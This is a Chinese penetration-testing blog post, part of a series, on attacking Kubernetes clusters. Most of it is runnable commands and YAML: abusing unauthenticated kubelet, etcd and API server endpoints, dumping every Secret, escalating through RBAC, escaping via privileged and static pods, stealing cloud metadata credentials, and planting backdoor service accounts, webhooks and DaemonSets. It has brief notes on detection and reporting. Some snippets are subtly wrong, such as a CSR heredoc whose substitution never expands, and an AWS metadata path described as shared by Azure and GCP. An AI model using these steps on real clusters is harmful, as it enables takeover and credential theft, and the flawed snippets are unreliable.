云安全渗透(五)Kubernetes 集群渗透

一、先画一张集群的攻击面地图

K8s 集群渗透和传统内网渗透最大的区别是:内网渗透从”扫端口”开始,集群渗透从”我是谁、我有什么权限”开始。因为集群里大量接口默认就是给内部组件互相调用的,认证和授权经常配得比对外服务松。

1.1 组件与端口

先把要盯的端口列清楚:

端口组件用途常见问题
6443kube-apiserver集群唯一的 API 入口匿名认证开启且绑定了 system:anonymous 角色
8080kube-apiserver旧版 insecure-port1.20 之前默认监听,无认证直接给全权限
2379 / 2380etcd集群数据存储未授权可直读全部 Secret
10250kubelet节点代理 API匿名认证或弱客户端证书校验,/exec、/run 可直接执行命令
10255kubelet只读信息端口1.16 后默认关闭,开启则可无认证读 Pod 列表
30000-32767NodePort业务暴露常暴露 Dashboard、Grafana、Kibana 等管理面
9090Prometheus监控未授权可读到大量内部指标和标签
5000私有 registry镜像仓库未授权可列仓库、拉镜像

判断版本可以直接打 /version,返回的 gitVersion 决定了后面哪些手法可用:

curl -sk https://1.2.3.4:6443/version
curl -s http://1.2.3.4:10255/version

1.2 四条进入路径

路径起点典型场景
未授权直连无凭证API Server、kubelet、etcd 暴露在公网或内网
容器内 SA token一个 Pod 的 shell业务容器被 RCE,或从容器逃逸
kubeconfig 泄露一份配置文件CI/CD 变量、Git 仓库、运维笔记本
云侧凭证一组云 AK托管集群通过云 API 取 kubeconfig

第二条最常走,第三篇和第四篇的成果最终都会汇到这里。第四条是托管集群特有的,放在第五节。

二、未授权访问

2.1 API Server

先试无认证访问。/version 是最低成本的探测,不需要任何权限:

curl -sk https://1.2.3.4:6443/version

能返回版本不代表有权限,继续试资源接口:

curl -sk https://1.2.3.4:6443/api/v1/namespaces
curl -sk https://1.2.3.4:6443/api/v1/pods
curl -sk https://1.2.3.4:6443/api/v1/namespaces/kube-system/secrets
curl -sk https://1.2.3.4:6443/api/v1/namespaces/kube-system/serviceaccounts
curl -sk https://1.2.3.4:6443/apis/apps/v1/namespaces/default/deployments

/api 和 /apis 两个根路径可以列出集群启用了哪些 API 组,用来发现 CRD:

curl -sk https://1.2.3.4:6443/api
curl -sk https://1.2.3.4:6443/apis

用 kubectl 更省事:

kubectl --server=https://1.2.3.4:6443 --insecure-skip-tls-verify get pods -A
kubectl --server=https://1.2.3.4:6443 --insecure-skip-tls-verify auth can-i --list

匿名访问为什么能成立:API Server 有个 --anonymous-auth 参数,默认是 true。开启时,不带任何认证信息的请求会被当成用户 system:anonymous,组的 system:unauthenticated。这本身不危险,危险的是有人给这个用户绑了角色。历史上很多安装脚本图省事,直接:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: anonymous-admin
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
- kind: User
  name: system:anonymous

看到这个绑定,等于集群完全敞开。所以在报告里,”匿名认证开启”和”匿名用户被绑定了高权限角色”是两个不同严重级别的发现,要分开写。

8080 端口在 1.20 之后已经被移除。如果扫描时发现这个端口开着,说明集群版本很老,或者有人手动把 --insecure-port 加回来了。它的价值在于跳过所有认证:

curl -s http://1.2.3.4:8080/api/v1/namespaces/kube-system/secrets

2.2 kubelet

kubelet 的 10250 端口是集群渗透里性价比最高的一个点。它实现了完整的 Pod 管理 API,包括 exec 和 run,如果认证配置有问题,等于在节点上拿到了任意命令执行。

先做无害的信息读取:

curl -sk https://10.0.0.5:10250/pods
curl -sk https://10.0.0.5:10250/metrics
curl -sk https://10.0.0.5:10250/stats/summary
curl -sk https://10.0.0.5:10250/runningpods
curl -sk https://10.0.0.5:10250/spec/

/pods 返回节点上所有 Pod 的完整定义,包括环境变量和挂载信息。环境变量里经常直接躺着数据库密码和云凭证。

10255 是明文只读端口,价值比 10250 低,但不需要 TLS 协商:

curl -s http://10.0.0.5:10255/pods

命令执行。kubelet 的 /exec 端点走 WebSocket 协议,手工构造请求比较麻烦:

curl -sk "https://10.0.0.5:10250/exec/default/nginx/nginx?command=id&input=1&output=1&tty=0" \
  -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: $(openssl rand -base64 16)"

/run 端点简单得多,直接 POST 表单:

curl -sk -XPOST "https://10.0.0.5:10250/run/default/nginx/nginx" \
  --data-urlencode 'cmd=id'
# 直接读 SA token
curl -sk -XPOST "https://10.0.0.5:10250/run/default/nginx/nginx" \
  --data-urlencode 'cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token'

实战里用 kubeletctl 效率最高:

# 探测哪些 kubelet 可以被利用
kubeletctl scan --cidr 10.0.0.0/24
# 单节点扫描
kubeletctl -s 10.0.0.5 scan
# 列出 Pod
kubeletctl -s 10.0.0.5 pods -o wide
# 执行命令
kubeletctl -s 10.0.0.5 exec -p nginx -c nginx "id"
kubeletctl -s 10.0.0.5 run -p nginx -c nginx "id"
# 读节点上的 kubeconfig,这是最有价值的一步
kubeletctl -s 10.0.0.5 credentials

kubeletctl credentials 读的是 /var/lib/kubelet/kubeconfig,里面的客户端证书通常有 system:node 权限,能读节点上所有 Pod 的 Secret。

如果扫描时发现 10250 需要认证,但你能拿到节点上的 kubelet 客户端证书,也可以直接用证书交互:

curl -sk --cert /var/lib/kubelet/pki/kubelet-client-current.pem \
     --key  /var/lib/kubelet/pki/kubelet-client-current.pem \
     https://10.0.0.5:10250/pods

2.3 etcd

etcd 保存了集群的全部状态,包括所有 Secret。K8s 默认不对 Secret 做静态加密,只有在 apiserver 配置了 EncryptionConfiguration 时才是密文。所以直连 etcd 等于拿到集群里所有凭证。

先判断是否未授权:

etcdctl --endpoints=http://10.0.0.5:2379 endpoint health
etcdctl --endpoints=http://10.0.0.5:2379 endpoint status -w table

列出所有 key:

etcdctl --endpoints=http://10.0.0.5:2379 get / --prefix --keys-only | head -50

重点看这几个前缀:

# 全部 Secret
etcdctl --endpoints=http://10.0.0.5:2379 get /registry/secrets --prefix --keys-only
# 读具体某个 Secret
etcdctl --endpoints=http://10.0.0.5:2379 get /registry/secrets/kube-system/default-token-xxxxx
# ClusterRoleBinding,找后门和高权限绑定
etcdctl --endpoints=http://10.0.0.5:2379 get /registry/clusterrolebindings --prefix --keys-only
# ServiceAccount
etcdctl --endpoints=http://10.0.0.5:2379 get /registry/serviceaccounts --prefix

如果 etcd 开的是 HTTPS,需要证书三件套。这些证书在 master 节点上的常见路径:

export ETCDCTL_API=3
etcdctl --endpoints=https://127.0.0.1:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get /registry/secrets --prefix --keys-only

ETCDCTL_API=3 在 etcd 3.4 及以下必须显式设置,3.5 之后默认就是 3。忘了设这个环境变量,命令会报一堆看不懂的错。

批量导出所有 Secret 的一条命令:

etcdctl --endpoints=http://10.0.0.5:2379 get / --prefix --keys-only \
  | grep '/registry/secrets/' \
  | awk '{print $1}' \
  | while read k; do echo "=== $k"; etcdctl --endpoints=http://10.0.0.5:2379 get "$k"; done

2.4 Dashboard

Kubernetes Dashboard 的历史版本出过两个经典问题。1.7 之前的版本有一个 skip-login 选项,可以直接跳过登录。更常见的是管理员为了方便,给 Dashboard 的 ServiceAccount 绑了 cluster-admin,然后 Dashboard 又暴露在 NodePort 上。

# 试探 Dashboard 是否直接代理了 API
curl -sk https://1.2.3.4:30443/api/v1/namespaces
curl -sk https://1.2.3.4:30443/api/v1/namespaces/kube-system/secrets

如果能直接返回数据,说明 Dashboard 的 SA 权限很高。有 kubeconfig 或 token 时,直接找 Dashboard 用的那个 token:

kubectl -n kubernetes-dashboard get secret | grep dashboard-admin
kubectl -n kubernetes-dashboard describe secret \
  $(kubectl -n kubernetes-dashboard get sa kubernetes-dashboard -o jsonpath='{.secrets[0].name}')

有一个细节:新版 K8s 里 ServiceAccount 不再自动创建长期 token Secret,{.secrets[0].name} 可能取不到值。这时候用 TokenRequest 现签一个:

kubectl -n kubernetes-dashboard create token kubernetes-dashboard

2.5 用 kube-hunter 做批量探测

手工测每个节点太慢,用 kube-hunter 扫一遍:

# 从外部扫单个目标
kube-hunter --remote 1.2.3.4
# 扫整个网段
kube-hunter --cidr 10.0.0.0/24
# 在集群内跑,能发现更多内部暴露面
kubectl run kube-hunter --restart=Never -it --rm \
  --image=aquasec/kube-hunter -- --pod

kube-hunter 的扫描结果会标明每个发现是”vulnerable”还是”potential”,后者需要手工验证。别把 potential 直接写进报告。

三、RBAC 提权

3.1 先学会读 RBAC

拿到任何一个身份之后,第一件事是问”我能干什么”:

kubectl auth can-i --list

输出是按资源分组的矩阵。举个典型的输出:

Resources                                       Non-Resource URLs   Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                  []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                  []               [create]
pods                                            []                  []               [get list watch]
secrets                                         []                  []               [get list]

最后一行就是高危:能 get list 全部 Secret,意味着能读所有 ServiceAccount 的 token,基本等于集群管理员。

看别人有什么权限:

kubectl auth can-i --list --as=system:serviceaccount:kube-system:default
kubectl auth can-i create pods --as=system:serviceaccount:default:default
kubectl auth whoami

反过来问”谁能做某个操作”:

# kubectl-who-can
kubectl-who-can create clusterrolebindings
kubectl-who-can get secrets --all-namespaces
# rbac-tool
rbac-tool who-can get secrets -A
rbac-tool analysis
rbac-tool viz --outformat dot

rbac-tool analysis 会直接把危险权限组合标出来,是快速定位问题的好工具。rbac-police 也做类似的事:

rbac-police -l

3.2 危险权限逐条拆解

下面每一条都是”单个权限就给管理员”的级别。这个判断标准很重要:RBAC 的风险不在权限多少,而在某一项权限是否等价于 cluster-admin。

3.2.1 get/list secrets

kubectl get secrets -A
kubectl get secret <name> -n <ns> -o jsonpath='{.data.token}' | base64 -d

K8s 1.24 之前,每个 ServiceAccount 都有自动创建的长期 token Secret,名字形如 <sa-name>-token-<5位随机>。读出来就是该 SA 的 token。1.24 之后默认不再自动创建,但如果集群里还有历史遗留的 token Secret,一样能读。

可以直接用原始 API:

curl -sk -H "Authorization: Bearer $TOKEN" \
  https://1.2.3.4:6443/api/v1/namespaces/kube-system/secrets

3.2.2 create serviceaccounts/token

这是最”干净”的一条,因为它在审计日志里看起来像是正常的 token 签发,不会创建新资源。

kubectl create token cluster-admin -n kube-system
kubectl create token cluster-admin -n kube-system --duration=86400s

原始 API 形式:

curl -sk -XPOST \
  https://1.2.3.4:6443/api/v1/namespaces/kube-system/serviceaccounts/cluster-admin/token \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"apiVersion":"authentication.k8s.io/v1","kind":"TokenRequest",
       "spec":{"audiences":["https://kubernetes.default.svc"],"expirationSeconds":86400}}'

返回的 status.token 就是签好的 JWT,有效期最长可以到 apiserver 配置的上限。

3.2.3 create pods

直接起一个高权限 Pod。最省事的做法是借用已有高权限 SA:

apiVersion: v1
kind: Pod
metadata:
  name: pwn
  namespace: kube-system
spec:
  serviceAccountName: cluster-admin-sa
  hostNetwork: true
  containers:
  - name: c
    image: alpine
    command: ["sh", "-c", "cat /var/run/secrets/kubernetes.io/serviceaccount/token; sleep 3600"]
kubectl apply -f pwn.yaml
kubectl -n kube-system exec pwn -- cat /var/run/secrets/kubernetes.io/serviceaccount/token

没有现成的高权限 SA 时,用第四篇的 privileged Pod 模板直接逃逸到节点。

3.2.4 旧式 token Secret 窃取

如果同时有 create secrets 和 get secrets,可以给一个高权限 SA 造一个长期 token:

apiVersion: v1
kind: Secret
metadata:
  name: stolen
  namespace: default
  annotations:
    kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token
kubectl apply -f stolen.yaml
kubectl get secret stolen -o jsonpath='{.data.token}' | base64 -d

前提是目标 SA 和这个 Secret 在同一个 namespace。另有一条更偏门的路子:如果知道某个高权限 SA 存在但读不到它的 token Secret,可以爆破 Secret 名字。名字格式是 <sa-name>-token-<5位随机>,随机部分的字符集是 bcdfghjklmnpqrstvwxz2456789,组合数是 27 的 5 次方,约 1430 万。这个量级在有 list secrets 的情况下完全不需要爆破,所以实际意义有限,除非权限被限制在特定资源名上。

3.2.5 impersonate

impersonate 允许指定”我以谁的身份发起这个请求”。持有这个权限可以直接变成管理员:

kubectl get secrets -A --as=system:serviceaccount:kube-system:cluster-admin
kubectl get pods --as=null --as-group=system:masters

对应的 HTTP 头:

curl -sk -H "Authorization: Bearer $TOKEN" \
  -H 'Impersonate-User: null' \
  -H 'Impersonate-Group: system:masters' \
  https://1.2.3.4:6443/api/v1/namespaces/kube-system/secrets

一个容易踩的坑:只被授权 impersonate 了 groups/uid/extra 通常不够,因为 API Server 会要求对 users 资源也有 impersonate 权限。测试时要逐个试。

版本相关的细节:K8s 1.36 引入了”约束式模拟”(constrained impersonation),需要同时具备 impersonate:user-info 和对应的 impersonate-on:user-info:get 权限,老的 Impersonate-User 头在启用该特性后行为会变。授权测试前先确认目标集群版本。

3.2.6 escalate 和 bind

escalate 允许创建一个权限比自己高的 Role/ClusterRole。正常情况下 RBAC 有个保护机制:你不能创建自己没有的权限,escalate 就是绕过这个保护。

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: esc
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: esc-bind
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: esc
subjects:
- kind: ServiceAccount
  name: default
  namespace: default

bind 更直接,它允许把一个已存在的高权限角色绑到任何主体上,不需要 escalate:

kubectl create clusterrolebinding pwn --clusterrole=cluster-admin \
  --serviceaccount=default:default

这两个权限的区别要记清楚:escalate 是”创造高权限”,bind 是”转嫁高权限”。

3.2.7 nodes/proxy

nodes/proxy 让请求经过 API Server 转发到 kubelet。这意味着你不需要直接访问 10250,只要 API Server 可达就行:

kubectl get --raw "/api/v1/nodes/<node>/proxy/pods" | jq .
# 如果对 nodes/proxy 有 create 权限,可以 POST 到 kubelet 的 /run
curl -sk -XPOST \
  https://1.2.3.4:6443/api/v1/nodes/<node>/proxy/run/default/nginx/nginx \
  -H "Authorization: Bearer $TOKEN" \
  -d 'cmd=id'

用 kubectl get --raw 走 POST 动词语义在不同版本上表现不一致,这一条标为待验证,现场要用真实集群确认。

3.2.8 pods/exec、pods/attach、pods/ephemeralcontainers

能 exec 进别人的 Pod,就能读那个 Pod 的 SA token 和环境变量:

kubectl exec -it <pod> -n <ns> -- sh
kubectl attach <pod> -n <ns> -c <container> -it
kubectl port-forward <pod> 8080:80 -n <ns>

ephemeralcontainers 这条经常被忽略,它可以在不重启 Pod 的情况下注入一个临时容器:

kubectl debug -n <ns> <pod> -it --image=alpine --profile=sysadmin --target=<container>

也可以直接 patch:

kubectl patch pod <pod> -n <ns> --subresource=ephemeralcontainers --type=merge -p \
'{"spec":{"ephemeralContainers":[{"name":"x","image":"alpine","command":["sh"],
"stdin":true,"tty":true,
"securityContext":{"privileged":true},
"targetContainerName":"<container>"}]}}'

这条路径的隐蔽性好,因为它不创建新 Pod,只改已有 Pod 的 spec。

3.2.9 patch/update nodes

给节点打标签可以把 Pod 调度到指定节点:

kubectl label node <node> pwn=1 --overwrite
kubectl patch node <node> -p '{"metadata":{"labels":{"pwn":"1"}}}'

改节点 status 的子资源在 1.30 之后可用,实际影响取决于集群里有没有依赖 node condition 的控制器,标为待验证:

kubectl patch node <node> --subresource=status --type=merge -p '{"status":{"conditions":[]}}'

3.2.10 CSR 签发

如果同时有 create certificatesigningrequests 和 certificatesigningrequests/approval 的 update 权限,可以给自己签一张任意 CN 的客户端证书:

openssl req -new -newkey rsa:2048 -nodes -keyout a.key -out a.csr \
  -subj '/CN=kubernetes-admin/O=system:masters'
# 用 kubectl 提交 CSR
cat <<'EOF' | kubectl apply -f -
apiVersion: certificates.k8s.io/v1
kind: CertificateSigningRequest
metadata:
  name: pwn-csr
spec:
  request: $(base64 -w0 a.csr)
  signerName: kubernetes.io/kube-apiserver-client
  usages: ["client auth"]
EOF
kubectl certificate approve pwn-csr
kubectl get csr pwn-csr -o jsonpath='{.status.certificate}' | base64 -d > a.crt

拿到证书后用 --client-certificate 指定即可,CN 和 O 决定身份,O=system:masters 直接就是 cluster-admin。

3.2.11 其他高危组合

CoreDNS ConfigMap 污染:改 CoreDNS 的配置可以做 DNS 劫持,把内部域名解析到攻击者控制的 IP:

kubectl patch configmap coredns -n kube-system --type=merge \
  -p '{"data":{"Corefile":"...rewrite name victim.example.com attacker.example.com..."}}'

直接创建 ClusterRoleBinding:如果有 create clusterrolebindings,连 escalate 都不需要:

kubectl create clusterrolebinding x --clusterrole=cluster-admin --user=attacker

四、从 Pod 到 cluster-admin

这一节把前面零散的点串成一条完整链条。起点是一个普通业务 Pod 的 shell,终点是集群管理员。

4.1 第一步:判断手上的 token 有什么权限

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
# 确认 API Server 地址
env | grep KUBERNETES_SERVICE
# 通常是 https://10.96.0.1:443 或 https://kubernetes.default.svc
# 用 token 查自己的权限
kubectl auth can-i --list --token=$TOKEN \
  --server=https://kubernetes.default.svc --insecure-skip-tls-verify
# 不用 kubectl 时直接打 API
curl -sk -H "Authorization: Bearer $TOKEN" \
  https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/pods

大多数业务 Pod 的权限很少,一般只能读自己 namespace 的 ConfigMap。但如果看到 secrets 的 list、pods 的 create、或者任何 impersonate,后面就简单了。

4.2 第二步:按权限分流

# 有 list secrets → 直接找 admin token
kubectl get secret -A --token=$TOKEN --server=https://kubernetes.default.svc \
  --insecure-skip-tls-verify | grep -i admin
# 有 create pods → 起特权 Pod
kubectl --token=$TOKEN --server=https://kubernetes.default.svc \
  --insecure-skip-tls-verify apply -f evil.yaml
# 都没有 → 转向节点侧,打 kubelet 和元数据

create pods 权限下的一条命令式逃逸,不需要写 YAML 文件:

kubectl run r00t --restart=Never -ti --rm --image=alpine \
  --overrides '{"spec":{"hostPID":true,"hostNetwork":true,
  "containers":[{"name":"c","image":"alpine",
  "command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/sh"],
  "stdin":true,"tty":true,
  "securityContext":{"privileged":true}}]}}'

4.3 第三步:拿到节点之后

如果 privileged Pod 加 hostPath 挂了宿主机根,直接读节点上的集群凭据:

ls /host/etc/kubernetes/
cat /host/etc/kubernetes/admin.conf
cat /host/etc/kubernetes/kubelet.conf
ls /host/etc/kubernetes/pki/

admin.conf 里的客户端证书一般属于 kubernetes-admin,在 system:masters 组里,等同于 cluster-admin。拿到它之后,导出成 kubeconfig 就能从任意位置操作集群:

# 从 pod 里把 admin.conf 拷出来
kubectl -n kube-system cp pwn:/host/etc/kubernetes/admin.conf ./admin.conf
# 本地直接使用
export KUBECONFIG=./admin.conf
kubectl get nodes
kubectl get secrets -A

如果只能读节点上的 kubelet 证书,权限会低一些,但 system:node 角色仍然允许读节点上所有 Pod 的 Secret:

curl -sk --cert /var/lib/kubelet/pki/kubelet-client-current.pem \
     --key  /var/lib/kubelet/pki/kubelet-client-current.pem \
     https://1.2.3.4:6443/api/v1/pods

4.4 静态 Pod 这条后门

如果 privileges 只够写节点的 /etc/kubernetes/manifests/,kubelet 会把这个目录下的 YAML 自动拉起来,效果和 create pods 一样,而且不经过 API Server 的准入控制:

cat > /etc/kubernetes/manifests/backdoor.yaml <<'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: static-pwn
  namespace: kube-system
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: c
    image: alpine
    command: ["sh", "-c", "nsenter -t 1 -m -u -i -n -p -- sh -c 'id; chroot /host sh'"]
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: h
  volumes:
  - name: h
    hostPath:
      path: /
EOF

manifest 目录由 kubelet 的 staticPodPath 决定,要先确认:

grep -i staticPodPath /var/lib/kubelet/config.yaml
ps aux | grep kubelet | tr ' ' '\n' | grep pod-manifest-path

五、集群内横向与云侧

5.1 集群内横向

从节点上可以收集其他 Pod 的 token。这些 token 都落在磁盘上:

find /var/lib/kubelet/pods -name token -path '*serviceaccount*' 2>/dev/null

每个 Pod 一个目录,读出来的 token 对应各自的 SA 权限。批量收集之后,用 kubectl auth can-i --list --token=... 逐个判断,挑权限最大的那个用。

Service 层面的横向:

kubectl get svc -A
kubectl get endpoints -A
kubectl get pods -A -o wide

get pods -o wide 给你所有 Pod 的 IP,结合 get svc 的 ClusterIP,可以画出一张集群内部服务图。注意看那些没有 NetworkPolicy 保护的 namespace。

网络策略的覆盖情况:

kubectl get networkpolicy -A

如果这个命令返回空,说明整个集群没有任何网络隔离,Pod 之间可以任意通信。这时候可以扫内网段找未鉴权的服务:

for p in 2379 6443 10250 10255 8080 3000 5000 9200; do
  timeout 1 bash -c "echo > /dev/tcp/10.96.0.1/$p" 2>/dev/null && echo "$p open"
done

5.2 从集群打到云账号

这是整条链路上最关键的一次跳跃。K8s 集群跑在云上,节点的 kubelet 和 Pod 内的进程都能访问元数据服务,而元数据服务返回的是云账号的临时凭证。

# AWS / 华为云 / Azure / GCP 共用这个地址
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 阿里云
curl -s http://100.100.100.200/latest/meta-data/ram/security-credentials/
# 腾讯云
curl -s http://metadata.tencentyun.com/latest/meta-data/

具体的请求头要求、返回格式、以及怎么把返回的凭证转成 CLI 可用的格式,在第二篇已经详细写过。这里只强调一点:节点角色(Node Role)的权限通常比 Pod 的角色大得多,很多集群给节点角色配了 ECR 拉镜像、CloudWatch 写日志、S3 读写,甚至 ec2:*。拿到节点角色往往比拿下集群本身更有价值。

5.3 托管集群的额外路径

托管集群(EKS、AKS、ACK、GKE)的控制面由云厂商管理,但有云侧权限的话可以直接取 kubeconfig,绕过 K8s 的 RBAC。

EKS 用 aws-auth ConfigMap 做云身份到 K8s 身份的映射:

kubectl get cm aws-auth -n kube-system -o yaml

这个 ConfigMap 里如果有 system:masters 的映射,任何持有对应 IAM 角色的主体都能拿到集群管理员。改它的能力也是持久化的关键:

kubectl edit cm aws-auth -n kube-system

新版 EKS 用 Access Entry 替代了一部分 aws-auth 的功能:

aws eks create-access-entry --cluster-name <cluster> \
  --principal-arn <arn> --type STANDARD
aws eks associate-access-policy --cluster-name <cluster> \
  --principal-arn <arn> --policy-arn <policy-arn>

IRSA(IAM Roles for Service Accounts)是另一条路。Pod 里的 token 文件路径是 /var/run/secrets/eks.amazonaws.com/serviceaccount/token,配合 AWS_ROLE_ARN 环境变量就能换成 IAM 临时凭证:

aws sts assume-role-with-web-identity \
  --role-arn "$AWS_ROLE_ARN" \
  --role-session-name pentest \
  --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

AKS 的 kubelet identity 值得特别关注。AKS 的节点资源组里,kubelet 身份对 ACR 和节点资源有权限,拿到它能横向到镜像仓库:

az aks get-credentials -g <rg> -n <cluster> --admin
curl -s -H 'Metadata: true' \
  'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'

ACK(阿里云) 的思路一样,SSRF 或者容器逃逸打到 100.100.100.200 拿到 RAM 临时凭证,如果这个角色有 AliyunCSFullAccess,就能直接接管集群。

GKE 有云 IAM 和 K8s RBAC 双通道,container.clusters.getCredentials 权限可以直接取集群凭据:

gcloud container clusters get-credentials <cluster> --region <region>

六、工具速查

工具用途典型命令
kube-hunter未授权面和配置问题扫描kube-hunter --remote <ip>
kube-benchCIS 基线检查kube-bench run --targets master,node,etcd
kubeaudit配置审计kubeaudit all -f deploy.yaml
kubeletctlkubelet 交互kubeletctl -s <node> exec -p x -c y "id"
peirates交互式提权peirates --token $TOKEN
CDK容器内信息收集与逃逸./cdk evaluate、./cdk auto-escape
kubectl-who-can反查谁能做某操作kubectl-who-can create pods -A
rbac-toolRBAC 分析rbac-tool who-can get secrets
rbac-police危险权限检测rbac-police -l
trivy镜像和集群扫描trivy k8s --report summary cluster
badPods提权 Pod 模板集参考其仓库里的 YAML

七、持久化

集群里的持久化手段按隐蔽性从低到高排列:

后门 ServiceAccount + ClusterRoleBinding,最直接也最容易被发现:

kubectl -n kube-system create sa backup-sa
kubectl create clusterrolebinding backup-crb --clusterrole=cluster-admin \
  --serviceaccount=kube-system:backup-sa
kubectl -n kube-system create token backup-sa

长期 token Secret:用 3.2.4 的方法给已有高权限 SA 造一个 kubernetes.io/service-account-token 类型的 Secret,这个 token 不会过期。

污染 admission webhook:这是一种很隐蔽的方式。MutatingWebhookConfiguration 可以在任何 Pod 创建时注入 sidecar,把 webhook 指向自己控制的服务,failurePolicy: Ignore 能让它在不可用时静默失败:

kubectl get mutatingwebhookconfigurations -o yaml > wh-backup.yaml
kubectl edit mutatingwebhookconfiguration <name>

改之前一定要备份,这是恢复的基础。

DaemonSet 全节点落点:

kubectl apply -f ds.yaml

DaemonSet 会在每个节点上起一个 Pod,配合 hostPath 和 privileged 就是全节点后门。特点是特别显眼,kubectl get ds -A 一眼就能看到。

CoreDNS 或 kube-proxy ConfigMap 污染:改 CoreDNS 可以做 DNS 劫持和流量中间人,比创建新资源隐蔽得多。

修改节点上的 kubelet 配置:如果已经拿到节点 root,改 kubelet 的启动参数或静态 Pod 目录,可以做到重启后依然存在。

每一条都要在报告里写清楚”怎么发现”。比如:

# 找所有 cluster-admin 绑定
kubectl get clusterrolebindings -o json | jq -r '
  .items[] | select(.roleRef.name=="cluster-admin") |
  .metadata.name + " -> " + (.subjects[]?.name // "?")'
# 找异常 webhook
kubectl get mutatingwebhookconfigurations,validatingwebhookconfigurations -o yaml | grep -E 'url:|name:'
# 找特权 DaemonSet
kubectl get ds -A -o json | jq '.items[] | select(.spec.template.spec.containers[].securityContext.privileged)'

下一篇讲第六篇:云上横向移动、CI/CD 与供应链攻击、持久化,以及防守方在每个环节应该看到什么。重点是把前面五篇的攻击链和对应的检测点、加固措施对照起来,形成一份能直接交给客户的防御清单。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇